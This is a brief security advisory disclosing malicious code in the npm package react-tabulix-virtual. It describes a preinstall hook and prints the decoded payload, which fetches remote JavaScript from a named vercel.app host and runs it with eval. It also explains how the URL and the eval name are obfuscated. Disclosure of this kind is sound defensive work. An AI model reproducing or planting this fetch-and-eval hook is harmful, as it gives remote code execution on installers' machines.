Summary
Malicious code in react-tabulix-virtual (npm)
Details
package.json declares scripts.preinstall as `node./dist/index.d.js`, which runs automatically on `npm install`. dist/index.d.js contains a base64-encoded string that decodes to `eval(await fetch('https://everydaynodechecker-39143n.vercel.app/api/key?mem=root1').then(r=>r.text()))`. The `eval` identifier is reconstructed at runtime from the character-code array [101,118,97,108] so the sink name does not appear as a literal in the source. On install, the package fetches JavaScript from everydaynodechecker-39143n.vercel.app and executes it with the installer's privileges. Both the destination URL (base64) and the `eval` sink (char-code assembly) are obfuscated.
